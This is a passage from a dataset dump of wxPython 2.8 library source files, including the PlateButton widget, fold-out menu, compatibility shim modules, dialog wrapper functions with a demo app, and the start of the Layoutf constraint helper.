PLATE_HIGHLIGHT, PLATE_PRESSED\n\n \"\"\"\n return self._state['cur']\n\n def HasTransparentBackground(self):\n \"\"\"Override setting of background fill\"\"\"\n return True\n\n def IsPressed(self):\n \"\"\"Return if button is pressed (PB_STYLE_TOGGLE)\n @return: bool\n\n \"\"\"\n return self._pressed\n\n @property\n def LabelText(self):\n \"\"\"Property for getting the label of the button\"\"\"\n return self.GetLabel()\n\n #---- Event Handlers ----#\n\n def OnErase(self, evt):\n \"\"\"Trap the erase event to keep the background transparent\n on windows.\n @param evt: wx.EVT_ERASE_BACKGROUND\n\n \"\"\"\n pass\n\n def OnFocus(self, evt):\n \"\"\"Set the visual focus state if need be\"\"\"\n if self._state['cur'] == PLATE_NORMAL:\n self.SetState(PLATE_HIGHLIGHT)\n\n def OnKeyUp(self, evt):\n \"\"\"Execute a single button press action when the Return key is pressed\n and this control has the focus.\n @param evt: wx.EVT_KEY_UP\n\n \"\"\"\n if evt.GetKeyCode() == wx.WXK_SPACE:\n self.SetState(PLATE_PRESSED)\n self.__PostEvent()\n wx.CallLater(100, self.SetState, PLATE_HIGHLIGHT)\n else:\n evt.Skip()\n\n def OnKillFocus(self, evt):\n \"\"\"Set the visual state back to normal when focus is lost\n unless the control is currently in a pressed state.\n\n \"\"\"\n # Note: this delay needs to be at least as much as the on in the KeyUp\n # handler to prevent ghost highlighting from happening when\n # quickly changing focus and activating buttons\n if self._state['cur'] != PLATE_PRESSED:\n self.SetState(PLATE_NORMAL)\n\n def OnLeftDown(self, evt):\n \"\"\"Sets the pressed state and depending on the click position will\n show the popup menu if one has been set.\n\n \"\"\"\n if (self._style & PB_STYLE_TOGGLE):\n self._pressed = not self._pressed\n\n pos = evt.GetPositionTuple()\n self.SetState(PLATE_PRESSED)\n size = self.GetSizeTuple()\n if pos[0] >= size[0] - 16:\n if self._menu is not None:\n self.ShowMenu()\n elif self._style & PB_STYLE_DROPARROW:\n event = PlateBtnDropArrowPressed()\n event.SetEventObject(self)\n wx.PostEvent(self, event)\n \n self.SetFocus()\n\n def OnLeftUp(self, evt):\n \"\"\"Post a button event if the control was previously in a\n pressed state.\n @param evt: wx.MouseEvent\n\n \"\"\"\n if self._state['cur'] == PLATE_PRESSED:\n pos = evt.GetPositionTuple()\n size = self.GetSizeTuple()\n if not (self._style & PB_STYLE_DROPARROW and pos[0] >= size[0] - 16):\n self.__PostEvent()\n\n if self._pressed:\n self.SetState(PLATE_PRESSED)\n else:\n self.SetState(PLATE_HIGHLIGHT)\n\n def OnMenuClose(self, evt):\n \"\"\"Refresh the control to a proper state after the menu has been\n dismissed.\n @param evt: wx.EVT_MENU_CLOSE\n\n \"\"\"\n mpos = wx.GetMousePosition()\n if self.HitTest(self.ScreenToClient(mpos)) != wx.HT_WINDOW_OUTSIDE:\n self.SetState(PLATE_HIGHLIGHT)\n else:\n self.SetState(PLATE_NORMAL)\n evt.Skip()\n\n #---- End Event Handlers ----#\n\n def SetBitmap(self, bmp):\n \"\"\"Set the bitmap displayed in the button\n @param bmp: wx.Bitmap\n\n \"\"\"\n self._bmp['enable'] = bmp\n img = bmp.ConvertToImage()\n img = img.ConvertToGreyscale(.795, .073, .026) #(.634, .224, .143)\n self._bmp['disable'] = img.ConvertToBitmap()\n self.InvalidateBestSize()\n\n def SetBitmapDisabled(self, bmp):\n \"\"\"Set the bitmap for the disabled state\n @param bmp: wx.Bitmap\n\n \"\"\"\n self._bmp['disable'] = bmp\n\n # Aliases for SetBitmap* functions from BitmapButton\n SetBitmapFocus = SetBitmap\n SetBitmapHover = SetBitmap\n SetBitmapLabel = SetBitmap\n SetBitmapSelected = SetBitmap\n\n def SetFocus(self):\n \"\"\"Set this control to have the focus\"\"\"\n if self._state['cur'] != PLATE_PRESSED:\n self.SetState(PLATE_HIGHLIGHT)\n super(PlateButton, self).SetFocus()\n\n def SetFont(self, font):\n \"\"\"Adjust size of control when font changes\"\"\"\n super(PlateButton, self).SetFont(font)\n self.InvalidateBestSize()\n\n def SetLabel(self, label):\n \"\"\"Set the label of the button\n @param label: lable string\n\n \"\"\"\n super(PlateButton, self).SetLabel(label)\n self.InvalidateBestSize()\n\n def SetLabelColor(self, normal, hlight=wx.NullColour):\n \"\"\"Set the color of the label. The optimal label color is usually\n automatically selected depending on the button color. In some\n cases the colors that are choosen may not be optimal.\n \n The normal state must be specified, if the other two params are left\n Null they will be automatically guessed based on the normal color. To\n prevent this automatic color choices from happening either specify\n a color or None for the other params.\n\n @param normal: Label color for normal state\n @keyword hlight: Color for when mouse is hovering over\n\n \"\"\"\n self._color['default'] = False\n self.SetForegroundColour(normal)\n\n if hlight is not None:\n if hlight.IsOk():\n self._color['htxt'] = hlight\n else:\n self._color['htxt'] = BestLabelColour(normal)\n\n if wx.Platform == '__WXMSW__':\n self.GetParent().RefreshRect(self.GetRect(), False)\n else:\n self.Refresh()\n\n def SetMenu(self, menu):\n \"\"\"Set the menu that can be shown when clicking on the\n drop arrow of the button.\n @param menu: wxMenu to use as a PopupMenu\n @note: Arrow is not drawn unless a menu is set\n\n \"\"\"\n if self._menu is not None:\n self.Unbind(wx.EVT_MENU_CLOSE)\n\n self._menu = menu\n self.Bind(wx.EVT_MENU_CLOSE, self.OnMenuClose)\n self.InvalidateBestSize()\n\n def SetPressColor(self, color):\n \"\"\"Set the color used for highlighting the pressed state\n @param color: wx.Color\n @note: also resets all text colours as necessary\n\n \"\"\"\n self._color['default'] = False\n if color.Alpha() == 255:\n self._color['hlight'] = AdjustAlpha(color, 200)\n else:\n self._color['hlight'] = color\n self._color['press'] = AdjustColour(color, -10, 160)\n self._color['htxt'] = BestLabelColour(self._color['hlight'])\n self.Refresh()\n\n def SetState(self, state):\n \"\"\"Manually set the state of the button\n @param state: one of the PLATE_* values\n @note: the state may be altered by mouse actions\n\n \"\"\"\n self._state['pre'] = self._state['cur']\n self._state['cur'] = state\n if wx.Platform == '__WXMSW__':\n self.GetParent().RefreshRect(self.GetRect(), False)\n else:\n self.Refresh()\n\n def SetWindowStyle(self, style):\n \"\"\"Sets the window style bytes, the updates take place\n immediately no need to call refresh afterwards.\n @param style: bitmask of PB_STYLE_* values\n\n \"\"\"\n self._style = style\n self.Refresh()\n\n def SetWindowVariant(self, variant):\n \"\"\"Set the variant/font size of this control\"\"\"\n super(PlateButton, self).SetWindowVariant(variant)\n self.InvalidateBestSize()\n\n def ShouldInheritColours(self):\n \"\"\"Overridden base class virtual. If the parent has non-default\n colours then we want this control to inherit them.\n\n \"\"\"\n return True\n\n def ShowMenu(self):\n \"\"\"Show the dropdown menu if one is associated with this control\"\"\"\n if self._menu is not None:\n size = self.GetSizeTuple()\n adj = wx.Platform == '__WXMAC__' and 3 or 0\n\n if self._style & PB_STYLE_SQUARE:\n xpos = 1\n else:\n xpos = size[1] / 2\n\n self.PopupMenu(self._menu, (xpos, size[1] + adj))\n\n def ToggleState(self):\n \"\"\"Toggle button state\"\"\"\n if self._state['cur'] != PLATE_PRESSED:\n self.SetState(PLATE_PRESSED)\n else:\n self.SetState(PLATE_HIGHLIGHT)\n\n #---- End Public Member Functions ----#\n", "id": "2839940", "language": "Python", "matching_score": 6.0147809982299805, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/platebtn.py" }, { "content": "# 12/07/2003 - <NAME> (<EMAIL>)\n#\n# o 2.5 Compatability changes\n#\n\nimport wx\nfrom wx.lib.evtmgr import eventManager\n\nclass FoldOutWindow(wx.PopupWindow):\n def __init__(self,parent,style=0):\n wx.PopupWindow.__init__(self,parent,style)\n self.SetAutoLayout(True)\n self.sizer=wx.BoxSizer(wx.HORIZONTAL)\n self.SetSizer(self.sizer, deleteOld=False)\n self.handlers={}\n self.InitColors()\n self.inWindow=False\n self.Bind(wx.EVT_ENTER_WINDOW, self.evEnter)\n self.Bind(wx.EVT_LEAVE_WINDOW, self.evLeave)\n \n def InitColors(self):\n faceClr = wx.SystemSettings.GetColour(wx.SYS_COLOUR_WINDOW)\n self.SetBackgroundColour(faceClr)\n\n def AddButton(self,bitmap,handler=None):\n id=wx.NewId()\n btn=wx.BitmapButton(self,id,bitmap)\n self.sizer.Add(btn, 1, wx.ALIGN_CENTER|wx.ALL|wx.EXPAND, 2)\n self.Bind(wx.EVT_BUTTON, self.OnBtnClick, btn)\n self.sizer.Fit(self)\n self.Layout()\n\n if handler:\n self.handlers[id]=handler\n\n return id\n\n def Popup(self):\n if not self.IsShown():\n self.Show()\n\n def OnBtnClick(self,event):\n id=event.GetEventObject().GetId()\n\n if self.handlers.has_key(id):\n self.handlers[id](event)\n\n self.Hide()\n self.inWindow=False\n event.Skip()\n\n def evEnter(self,event):\n self.inWindow=True\n self.rect=self.GetRect()\n event.Skip()\n \n def evLeave(self,event):\n if self.inWindow:\n if not self.rect.Inside(self.ClientToScreen(event.GetPosition())):\n self.Hide()\n\n event.Skip()\n\n\n \n\n \nclass FoldOutMenu(wx.BitmapButton):\n def __init__(self,parent,id,bitmap,pos = wx.DefaultPosition,\n size = wx.DefaultSize, style = wx.BU_AUTODRAW,\n validator = wx.DefaultValidator, name = \"button\"):\n\n wx.BitmapButton.__init__(self, parent, id, bitmap, pos, size, style,\n validator, name)\n\n self.parent=parent\n self.parent.Bind(wx.EVT_BUTTON, self.click, self)\n self.popwin=FoldOutWindow(self.parent)\n\n def AddButton(self,bitmap,handler=None):\n return self.popwin.AddButton(bitmap,handler=handler)\n\n def click(self,event):\n pos=self.GetPosition()\n sz=self.GetSize()\n pos.x=pos.x+sz.width\n pos.y=pos.y+sz.height/2\n self.popwin.Position(pos,sz)\n self.popwin.Popup()\n", "id": "910468", "language": "Python", "matching_score": 3.164813995361328, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/foldmenu.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.foldmenu\n\n__doc__ = wx.lib.foldmenu.__doc__\n\nFoldOutMenu = wx.lib.foldmenu.FoldOutMenu\nFoldOutWindow = wx.lib.foldmenu.FoldOutWindow\n", "id": "2489838", "language": "Python", "matching_score": 0.8605125546455383, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/foldmenu.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.imageutils\n\n__doc__ = wx.lib.imageutils.__doc__\n\ngrayOut = wx.lib.imageutils.grayOut\nmakeGray = wx.lib.imageutils.makeGray\n", "id": "5400668", "language": "Python", "matching_score": 1.8727349042892456, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/imageutils.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.shell\n\n__doc__ = wx.lib.shell.__doc__\n\nPyShell = wx.lib.shell.PyShell\nPyShellInput = wx.lib.shell.PyShellInput\nPyShellOutput = wx.lib.shell.PyShellOutput\n", "id": "4197992", "language": "Python", "matching_score": 2.226670742034912, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/shell.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.tools.img2xpm\n\nmain = wx.tools.img2xpm.main\n", "id": "2001775", "language": "Python", "matching_score": 0.5666718482971191, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/tools/img2xpm.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.fancytext\n\n__doc__ = wx.lib.fancytext.__doc__\n\nDCRenderer = wx.lib.fancytext.DCRenderer\nGetExtent = wx.lib.fancytext.GetExtent\nGetFullExtent = wx.lib.fancytext.GetFullExtent\nRenderToBitmap = wx.lib.fancytext.RenderToBitmap\nRenderToDC = wx.lib.fancytext.RenderToDC\nRenderToRenderer = wx.lib.fancytext.RenderToRenderer\nRenderer = wx.lib.fancytext.Renderer\nSizeRenderer = wx.lib.fancytext.SizeRenderer\nStaticFancyText = wx.lib.fancytext.StaticFancyText\n_addGreek = wx.lib.fancytext._addGreek\ngetExtent = wx.lib.fancytext.getExtent\niceil = wx.lib.fancytext.iceil\niround = wx.lib.fancytext.iround\nrenderToBitmap = wx.lib.fancytext.renderToBitmap\nrenderToDC = wx.lib.fancytext.renderToDC\ntest = wx.lib.fancytext.test\n", "id": "8743724", "language": "Python", "matching_score": 2.0366923809051514, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/fancytext.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.imagebrowser\n\n__doc__ = wx.lib.imagebrowser.__doc__\n\nConvertBMP = wx.lib.imagebrowser.ConvertBMP\nFindFiles = wx.lib.imagebrowser.FindFiles\nGetSize = wx.lib.imagebrowser.GetSize\nImageDialog = wx.lib.imagebrowser.ImageDialog\nImageView = wx.lib.imagebrowser.ImageView\nOnFileDlg = wx.lib.imagebrowser.OnFileDlg\n", "id": "10092164", "language": "Python", "matching_score": 1.5914908647537231, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/imagebrowser.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.dialogs\n\n__doc__ = wx.lib.dialogs.__doc__\n\nDialogResults = wx.lib.dialogs.DialogResults\nalertDialog = wx.lib.dialogs.alertDialog\ncolorDialog = wx.lib.dialogs.colorDialog\ncolourDialog = wx.lib.dialogs.colourDialog\ndirDialog = wx.lib.dialogs.dirDialog\ndirectoryDialog = wx.lib.dialogs.directoryDialog\nfileDialog = wx.lib.dialogs.fileDialog\nfindDialog = wx.lib.dialogs.findDialog\nfontDialog = wx.lib.dialogs.fontDialog\nmessageDialog = wx.lib.dialogs.messageDialog\nmultipleChoiceDialog = wx.lib.dialogs.multipleChoiceDialog\nopenFileDialog = wx.lib.dialogs.openFileDialog\nreturnedString = wx.lib.dialogs.returnedString\nsaveFileDialog = wx.lib.dialogs.saveFileDialog\nscrolledMessageDialog = wx.lib.dialogs.scrolledMessageDialog\nsingleChoiceDialog = wx.lib.dialogs.singleChoiceDialog\ntextEntryDialog = wx.lib.dialogs.textEntryDialog\nwxMultipleChoiceDialog = wx.lib.dialogs.MultipleChoiceDialog\nwxScrolledMessageDialog = wx.lib.dialogs.ScrolledMessageDialog\n", "id": "10401303", "language": "Python", "matching_score": 4.260174751281738, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/dialogs.py" }, { "content": "#----------------------------------------------------------------------\n# Name: wx.lib.dialogs\n# Purpose: ScrolledMessageDialog, MultipleChoiceDialog and\n# function wrappers for the common dialogs by <NAME>.\n#\n# Author: Various\n#\n# Created: 3-January-2002\n# RCS-ID: $Id: dialogs.py 44619 2007-03-05 19:18:51Z RD $\n# Copyright: (c) 2002 by Total Control Software\n# Licence: wxWindows license\n#----------------------------------------------------------------------\n# 12/01/2003 - <NAME> (<EMAIL>)\n#\n# o Updated for 2.5 compatability.\n#\n# 12/18/2003 - <NAME> (<EMAIL>)\n#\n# o wxScrolledMessageDialog -> ScrolledMessageDialog\n# o wxMultipleChoiceDialog -> MultipleChoiceDialog\n#\n\nimport wx\nimport layoutf\n\n#----------------------------------------------------------------------\n\nclass ScrolledMessageDialog(wx.Dialog):\n def __init__(self, parent, msg, caption,\n pos=wx.DefaultPosition, size=(500,300),\n style=wx.DEFAULT_DIALOG_STYLE):\n wx.Dialog.__init__(self, parent, -1, caption, pos, size, style)\n x, y = pos\n if x == -1 and y == -1:\n self.CenterOnScreen(wx.BOTH)\n\n self.text = text = wx.TextCtrl(self, -1, msg, \n style=wx.TE_MULTILINE | wx.TE_READONLY)\n\n ok = wx.Button(self, wx.ID_OK, \"OK\")\n ok.SetDefault()\n lc = layoutf.Layoutf('t=t5#1;b=t5#2;l=l5#1;r=r5#1', (self,ok)) \n text.SetConstraints(lc)\n\n lc = layoutf.Layoutf('b=b5#1;x%w50#1;w!80;h*', (self,))\n ok.SetConstraints(lc)\n self.SetAutoLayout(1)\n self.Layout()\n\n\nclass MultipleChoiceDialog(wx.Dialog):\n def __init__(self, parent, msg, title, lst, pos = wx.DefaultPosition,\n size = (200,200), style = wx.DEFAULT_DIALOG_STYLE):\n wx.Dialog.__init__(self, parent, -1, title, pos, size, style)\n \n x, y = pos\n if x == -1 and y == -1:\n self.CenterOnScreen(wx.BOTH)\n\n stat = wx.StaticText(self, -1, msg)\n self.lbox = wx.ListBox(self, 100, wx.DefaultPosition, wx.DefaultSize, \n lst, wx.LB_MULTIPLE)\n\n ok = wx.Button(self, wx.ID_OK, \"OK\")\n ok.SetDefault()\n cancel = wx.Button(self, wx.ID_CANCEL, \"Cancel\")\n \n dlgsizer = wx.BoxSizer(wx.VERTICAL)\n dlgsizer.Add(stat, 0, wx.ALL, 4)\n dlgsizer.Add(self.lbox, 1, wx.EXPAND | wx.ALL, 4)\n \n btnsizer = wx.StdDialogButtonSizer()\n btnsizer.AddButton(ok)\n btnsizer.AddButton(cancel)\n btnsizer.Realize()\n \n dlgsizer.Add(btnsizer, 0, wx.ALL | wx.ALIGN_RIGHT, 4)\n \n self.SetSizer(dlgsizer)\n \n self.lst = lst\n self.Layout()\n\n def GetValue(self):\n return self.lbox.GetSelections()\n\n def GetValueString(self):\n sel = self.lbox.GetSelections()\n val = [ self.lst[i] for i in sel ]\n return tuple(val)\n\n\n#----------------------------------------------------------------------\n\"\"\"\nfunction wrappers for wxPython system dialogs\nAuthor: <NAME>\nDate: 2003-1-2\nRev: 3\n\nThis is the third refactor of the PythonCard dialog.py module\nfor inclusion in the main wxPython distribution. There are a number of\ndesign decisions and subsequent code refactoring to be done, so I'm\nreleasing this just to get some feedback.\n\nrev 3:\n- result dictionary replaced by DialogResults class instance\n- should message arg be replaced with msg? most wxWindows dialogs\n seem to use the abbreviation?\n\nrev 2:\n- All dialog classes have been replaced by function wrappers\n- Changed arg lists to more closely match wxWindows docs and wxPython.lib.dialogs\n- changed 'returned' value to the actual button id the user clicked on\n- added a returnedString value for the string version of the return value\n- reworked colorDialog and fontDialog so you can pass in just a color or font\n for the most common usage case\n- probably need to use colour instead of color to match the English English\n spelling in wxWindows (sigh)\n- I still think we could lose the parent arg and just always use None\n\"\"\"\n\nclass DialogResults:\n def __init__(self, returned):\n self.returned = returned\n self.accepted = returned in (wx.ID_OK, wx.ID_YES)\n self.returnedString = returnedString(returned)\n\n def __repr__(self):\n return str(self.__dict__)\n\ndef returnedString(ret):\n if ret == wx.ID_OK:\n return \"Ok\"\n elif ret == wx.ID_CANCEL:\n return \"Cancel\"\n elif ret == wx.ID_YES:\n return \"Yes\"\n elif ret == wx.ID_NO:\n return \"No\"\n\n\n## findDialog was created before wxPython got a Find/Replace dialog\n## but it may be instructive as to how a function wrapper can\n## be added for your own custom dialogs\n## this dialog is always modal, while wxFindReplaceDialog is\n## modeless and so doesn't lend itself to a function wrapper\ndef findDialog(parent=None, searchText='', wholeWordsOnly=0, caseSensitive=0):\n dlg = wx.Dialog(parent, -1, \"Find\", wx.DefaultPosition, (380, 120))\n\n wx.StaticText(dlg, -1, 'Find what:', (7, 10))\n wSearchText = wx.TextCtrl(dlg, -1, searchText, (80, 7), (195, -1))\n wSearchText.SetValue(searchText)\n wx.Button(dlg, wx.ID_OK, \"Find Next\", (285, 5), wx.DefaultSize).SetDefault()\n wx.Button(dlg, wx.ID_CANCEL, \"Cancel\", (285, 35), wx.DefaultSize)\n\n wWholeWord = wx.CheckBox(dlg, -1, 'Match whole word only',\n (7, 35), wx.DefaultSize, wx.NO_BORDER)\n\n if wholeWordsOnly:\n wWholeWord.SetValue(1)\n\n wCase = wx.CheckBox(dlg, -1, 'Match case', (7, 55), wx.DefaultSize, wx.NO_BORDER)\n\n if caseSensitive:\n wCase.SetValue(1)\n\n wSearchText.SetSelection(0, len(wSearchText.GetValue()))\n wSearchText.SetFocus()\n\n result = DialogResults(dlg.ShowModal())\n result.searchText = wSearchText.GetValue()\n result.wholeWordsOnly = wWholeWord.GetValue()\n result.caseSensitive = wCase.GetValue()\n dlg.Destroy()\n return result\n\n\ndef colorDialog(parent=None, colorData=None, color=None):\n if colorData:\n dialog = wx.ColourDialog(parent, colorData)\n else:\n dialog = wx.ColourDialog(parent)\n dialog.GetColourData().SetChooseFull(1)\n\n if color is not None:\n dialog.GetColourData().SetColour(color)\n\n result = DialogResults(dialog.ShowModal())\n result.colorData = dialog.GetColourData()\n result.color = result.colorData.GetColour().Get()\n dialog.Destroy()\n return result\n\n\n## it is easier to just duplicate the code than\n## try and replace color with colour in the result\ndef colourDialog(parent=None, colourData=None, colour=None):\n if colourData:\n dialog = wx.ColourDialog(parent, colourData)\n else:\n dialog = wx.ColourDialog(parent)\n dialog.GetColourData().SetChooseFull(1)\n\n if colour is not None:\n dialog.GetColourData().SetColour(color)\n\n result = DialogResults(dialog.ShowModal())\n result.colourData = dialog.GetColourData()\n result.colour = result.colourData.GetColour().Get()\n dialog.Destroy()\n return result\n\n\ndef fontDialog(parent=None, fontData=None, font=None):\n if fontData is None:\n fontData = wx.FontData()\n fontData.SetColour(wx.BLACK)\n fontData.SetInitialFont(wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT))\n\n if font is not None:\n fontData.SetInitialFont(font)\n\n dialog = wx.FontDialog(parent, fontData)\n result = DialogResults(dialog.ShowModal())\n\n if result.accepted:\n fontData = dialog.GetFontData()\n result.fontData = fontData\n result.color = fontData.GetColour().Get()\n result.colour = result.color\n result.font = fontData.GetChosenFont()\n else:\n result.color = None\n result.colour = None\n result.font = None\n\n dialog.Destroy()\n return result\n\n\ndef textEntryDialog(parent=None, message='', title='', defaultText='',\n style=wx.OK | wx.CANCEL):\n dialog = wx.TextEntryDialog(parent, message, title, defaultText, style)\n result = DialogResults(dialog.ShowModal())\n result.text = dialog.GetValue()\n dialog.Destroy()\n return result\n\n\ndef messageDialog(parent=None, message='', title='Message box',\n aStyle = wx.OK | wx.CANCEL | wx.CENTRE,\n pos=wx.DefaultPosition):\n dialog = wx.MessageDialog(parent, message, title, aStyle, pos)\n result = DialogResults(dialog.ShowModal())\n dialog.Destroy()\n return result\n\n\n## KEA: alerts are common, so I'm providing a class rather than\n## requiring the user code to set up the right icons and buttons\n## the with messageDialog function\ndef alertDialog(parent=None, message='', title='Alert', pos=wx.DefaultPosition):\n return messageDialog(parent, message, title, wx.ICON_EXCLAMATION | wx.OK, pos)\n\n\ndef scrolledMessageDialog(parent=None, message='', title='', pos=wx.DefaultPosition,\n size=(500,300)):\n\n dialog = ScrolledMessageDialog(parent, message, title, pos, size)\n result = DialogResults(dialog.ShowModal())\n dialog.Destroy()\n return result\n\n\ndef fileDialog(parent=None, title='Open', directory='', filename='', wildcard='*.*',\n style=wx.OPEN | wx.MULTIPLE):\n\n dialog = wx.FileDialog(parent, title, directory, filename, wildcard, style)\n result = DialogResults(dialog.ShowModal())\n if result.accepted:\n result.paths = dialog.GetPaths()\n else:\n result.paths = None\n dialog.Destroy()\n return result\n\n\n## openFileDialog and saveFileDialog are convenience functions\n## they represent the most common usages of the fileDialog\n## with the most common style options\ndef openFileDialog(parent=None, title='Open', directory='', filename='',\n wildcard='All Files (*.*)|*.*',\n style=wx.OPEN | wx.MULTIPLE):\n return fileDialog(parent, title, directory, filename, wildcard, style)\n\n\ndef saveFileDialog(parent=None, title='Save', directory='', filename='',\n wildcard='All Files (*.*)|*.*',\n style=wx.SAVE | wx.OVERWRITE_PROMPT):\n return fileDialog(parent, title, directory, filename, wildcard, style)\n\n\ndef dirDialog(parent=None, message='Choose a directory', path='', style=0,\n pos=wx.DefaultPosition, size=wx.DefaultSize):\n\n dialog = wx.DirDialog(parent, message, path, style, pos, size)\n result = DialogResults(dialog.ShowModal())\n if result.accepted:\n result.path = dialog.GetPath()\n else:\n result.path = None\n dialog.Destroy()\n return result\n\ndirectoryDialog = dirDialog\n\n\ndef singleChoiceDialog(parent=None, message='', title='', lst=[], \n style=wx.OK | wx.CANCEL | wx.CENTRE):\n dialog = wx.SingleChoiceDialog(parent, message, title, list(lst), style | wx.DEFAULT_DIALOG_STYLE)\n result = DialogResults(dialog.ShowModal())\n result.selection = dialog.GetStringSelection()\n dialog.Destroy()\n return result\n\n\ndef multipleChoiceDialog(parent=None, message='', title='', lst=[],\n pos=wx.DefaultPosition, size=wx.DefaultSize):\n\n dialog = wx.MultiChoiceDialog(parent, message, title, lst,\n wx.CHOICEDLG_STYLE, pos)\n result = DialogResults(dialog.ShowModal())\n result.selection = tuple([lst[i] for i in dialog.GetSelections()])\n dialog.Destroy()\n return result\n\n\nif __name__ == '__main__':\n #import os\n #print os.getpid()\n \n class MyApp(wx.App):\n\n def OnInit(self):\n self.frame = frame = wx.Frame(None, -1, \"Dialogs\", size=(400, 240))\n panel = wx.Panel(frame, -1)\n self.panel = panel\n\n\n dialogNames = [\n 'alertDialog',\n 'colorDialog',\n 'directoryDialog',\n 'fileDialog',\n 'findDialog',\n 'fontDialog',\n 'messageDialog',\n 'multipleChoiceDialog',\n 'openFileDialog',\n 'saveFileDialog',\n 'scrolledMessageDialog',\n 'singleChoiceDialog',\n 'textEntryDialog',\n ]\n\n self.nameList = wx.ListBox(panel, -1,\n size=(130, 180),\n choices=dialogNames,\n style=wx.LB_SINGLE)\n self.Bind(wx.EVT_LISTBOX, self.OnNameListSelected, self.nameList)\n\n tstyle = wx.TE_RICH2 | wx.TE_PROCESS_TAB | wx.TE_MULTILINE\n self.text1 = wx.TextCtrl(panel, -1, size=(200, 180), style=tstyle)\n\n sizer = wx.BoxSizer(wx.HORIZONTAL)\n sizer.Add(self.nameList, 0, wx.EXPAND|wx.ALL, 20)\n sizer.Add(self.text1, 1, wx.EXPAND|wx.ALL, 20)\n\n panel.SetSizer(sizer)\n\n self.SetTopWindow(frame)\n frame.Show(1)\n return 1\n\n\n def OnNameListSelected(self, evt):\n import pprint\n sel = evt.GetString()\n result = None\n if sel == 'alertDialog':\n result = alertDialog(message='<NAME>')\n elif sel == 'colorDialog':\n result = colorDialog()\n elif sel == 'directoryDialog':\n result = directoryDialog()\n elif sel == 'fileDialog':\n wildcard = \"JPG files (*.jpg;*.jpeg)|*.jpeg;*.JPG;*.JPEG;*.jpg|GIF files (*.gif)|*.GIF;*.gif|All Files (*.*)|*.*\"\n result = fileDialog(None, 'Open', '', '', wildcard)\n elif sel == 'findDialog':\n result = findDialog()\n elif sel == 'fontDialog':\n result = fontDialog()\n elif sel == 'messageDialog':\n result = messageDialog(None, 'Hello from Python and wxPython!',\n 'A Message Box', wx.OK | wx.ICON_INFORMATION)\n #wx.YES_NO | wx.NO_DEFAULT | wx.CANCEL | wx.ICON_INFORMATION)\n #result = messageDialog(None, 'message', 'title')\n elif sel == 'multipleChoiceDialog':\n result = multipleChoiceDialog(None, \"message\", \"title\", ['one', 'two', 'three'])\n elif sel == 'openFileDialog':\n result = openFileDialog()\n elif sel == 'saveFileDialog':\n result = saveFileDialog()\n elif sel == 'scrolledMessageDialog':\n msg = \"Can't find the file dialog.py\"\n try:\n # read this source file and then display it\n import sys\n filename = sys.argv[-1]\n fp = open(filename)\n message = fp.read()\n fp.close()\n except:\n pass\n result = scrolledMessageDialog(None, message, filename)\n elif sel == 'singleChoiceDialog':\n result = singleChoiceDialog(None, \"message\", \"title\", ['one', 'two', 'three'])\n elif sel == 'textEntryDialog':\n result = textEntryDialog(None, \"message\", \"title\", \"text\")\n\n if result:\n #self.text1.SetValue(pprint.pformat(result.__dict__))\n self.text1.SetValue(str(result))\n\n app = MyApp(True)\n app.MainLoop()\n\n\n", "id": "112067", "language": "Python", "matching_score": 3.253286838531494, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/dialogs.py" }, { "content": "# 12/09/2003 - <NAME> (<EMAIL>)\n#\n# o Updated for wx namespace\n# \n# 12/18/2003 - <NAME> (<EMAIL>)\n#\n# o wxScrolledMessageDialog -> ScrolledMessageDialog\n# \n\nimport re\nimport wx\n\nclass Layoutf(wx.LayoutConstraints):\n \"\"\"\nThe class Layoutf(wxLayoutConstraints) presents a simplification\nof the wxLayoutConstraints syntax. The name Layoutf is choosen\nbecause of the similarity with C's printf function.\n\nQuick Example:\n\n lc = Layoutf('t=t#1;l=r10#2;r!100;h%h50#1', (self, self.panel))\n\nis equivalent to\n\n lc = wxLayoutContraints()\n lc.top.SameAs(self, wxTop)\n lc.left.SameAs(self.panel, wxRight, 10)\n lc.right.Absolute(100)\n lc.height.PercentOf(self, wxHeight, 50)\n\nUsage:\n\n You can give a constraint string to the Layoutf constructor,\nor use the 'pack' method. The following are equivalent:\n\n lc = Layoutf('t=t#1;l=r#2;r!100;h%h50#1', (self, self.panel))\n\nand\n\n lc = Layoutf()\n lc.pack('t=t#1;l=r#2;r!100;h%h50#1', (self, self.panel))\n\n Besides 'pack' there's also 'debug_pack' which does not set\nconstraints, but prints traditional wxLayoutConstraint calls to\nstdout.\n\n The calls to the Layoutf constructor and pack methods have\nthe following argument list:\n\n (constraint_string, objects_tuple)\n\nConstraint String syntax:\n\n Constraint directives are separated by semi-colons. You\ngenerally 